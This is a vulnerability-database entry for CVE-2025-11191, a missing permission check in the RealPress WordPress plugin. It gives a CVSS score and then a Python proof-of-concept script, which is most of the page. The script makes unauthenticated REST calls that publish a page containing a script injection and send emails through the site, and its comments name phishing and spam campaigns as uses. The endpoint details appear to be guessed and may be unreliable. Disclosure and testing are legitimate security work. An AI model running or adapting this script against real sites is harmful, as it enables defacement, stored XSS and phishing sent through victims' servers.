The RealPress WordPress plugin before 1.1.0 registers the REST routes without proper permission checks, allowing the creation of pages and sending of emails from the site.
CVSS Details
CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Configurations (Affected Products)
No configuration data available.
RealPress WordPress Plugin < 1.1.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
import json
# CVE-2025-11191 PoC - RealPress WordPress Plugin Unauthorized REST API Access
# Target: WordPress site with RealPress plugin < 1.1.0
TARGET_URL = "http://target-wordpress-site.com"
def create_page_via_rest():
"""
Exploit: Create a new page without authentication
The plugin's REST route lacks proper permission_callback
"""
endpoint = f"{TARGET_URL}/wp-json/realpress/v1/pages"
# Payload to create a new page
payload = {
"title": "Malicious Page",
"content": "<script>alert('XSS Payload')</script>",
"status": "publish"
}
headers = {
"Content-Type": "application/json",
"X-WP-Nonce": "" # No nonce required due to missing permission check
}
try:
response = requests.post(endpoint, json=payload, headers=headers, timeout=10)
print(f"[*] Status Code: {response.status_code}")
print(f"[*] Response: {response.text}")
if response.status_code in [200, 201]:
print("[+] Page created successfully - VULNERABLE!")
return True
else:
print("[-] Request failed")
return False
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
return False
def send_email_via_rest():
"""
Exploit: Send emails through the vulnerable REST endpoint
Can be used for phishing or spam campaigns
"""
endpoint = f"{TARGET_URL}/wp-json/realpress/v1/send-email"
payload = {
"to": "[email protected]",
"subject": "Phishing Email",
"body": "Click here to win a prize!",
"from": "[email protected]"
}
headers = {
"Content-Type": "application/json"
}
try:
response = requests.post(endpoint, json=payload, headers=headers, timeout=10)
print(f"[*] Email Send - Status: {response.status_code}")
if response.status_code in [200, 201]:
print("[+] Email sent successfully - VULNERABLE!")
return True
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
return False
if __name__ == "__main__":
print("=" * 50)
print("CVE-2025-11191 RealPress Plugin PoC")
print("=" * 50)
create_page_via_rest()
send_email_via_rest()